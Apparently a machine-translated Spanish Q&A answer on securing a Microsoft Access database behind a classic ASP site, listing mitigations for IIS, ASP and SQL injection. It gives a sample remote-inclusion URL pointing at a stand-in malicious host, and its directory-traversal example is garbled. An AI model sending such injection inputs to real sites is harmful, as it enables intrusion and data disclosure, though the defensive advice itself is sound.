Asegurando la base de datos de Microsoft Access

Por lo tanto, suponiendo que aquí la base de datos solo está destinada a ser accesible por el código ASP y no a los clientes de la aplicación web, una alternativa mejor a mantener la base de datos en un directorio "aleatorio" debajo de la raíz web sería mantener la base de datos. fuera de la webroot por completo. De esa manera, un atacante no podría dirigirse directamente a la base de datos a través del sitio web (sin que otro problema de seguridad se lo permita).

Si pretende que los clientes del sitio web descarguen directamente o accedan al archivo MDB, es posible que ocultar la base de datos no sea un control muy sólido. Un atacante puede encontrar la ubicación observando el tráfico de otros clientes o encontrando una referencia a esta en otras partes del sitio.

Una alternativa más sólida aquí sería restringir el acceso a la base de datos solo a usuarios autenticados. Incluso si no tiene una configuración de sistema de membresía completa para su sitio, podría usar algo como la autenticación de resumen HTTP para restringir el acceso de los usuarios. Por sí sola, no es una solución perfecta, pero es más difícil que confiar en que un atacante no encuentre una URL.

Aquí hay una lista de acciones de mitigación que puede realizar para evitar revelar la ruta de la base de datos:

Servicios de información de Internet & Servidor

• Asegúrese de no enumerar el contenido de C: \ inetpub \ wwwroot, de lo contrario podría navegar por todas las carpetas
• Deshabilite cualquier tipo de FTP y solo use SSH (si es necesario). No hace falta decir que el FTP es inseguro.
• Mantenga su servidor actualizado para eliminar nuevas vulnerabilidades

ASP

• Asegúrese de que su aplicación esté protegida contra "Ataques de recorrido de directorios" que podrían permitir que un atacante vea básicamente los archivos y carpetas otorgados al usuario de la aplicación (por ejemplo, IIS_IUSRS, IUSR, DefaultAppPool, ASP.NET v4.0 ...). Ejemplo:

  

GET enlace HTTP / 1.1

• También contra "Inyección en el lado del servidor (SSI) incluye", que permite la explotación de una aplicación web mediante la inyección de scripts en páginas HTML o la ejecución remota de códigos arbitrarios. Puede explotarse mediante la manipulación de SSI en uso en la aplicación o forzar su uso a través de los campos de entrada del usuario. Ejemplo:

  

www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml

• Los errores de VBScript podrían filtrar la ruta completa de su base de datos dependiendo de cómo acceda a ella. Le sugiero que use OLEDB en lugar de codificar la conexión de forma fija.

MS Access

• La inyección SQL puede devolver información privilegiada o generar errores que revelen la información de su base de datos, como la ruta completa.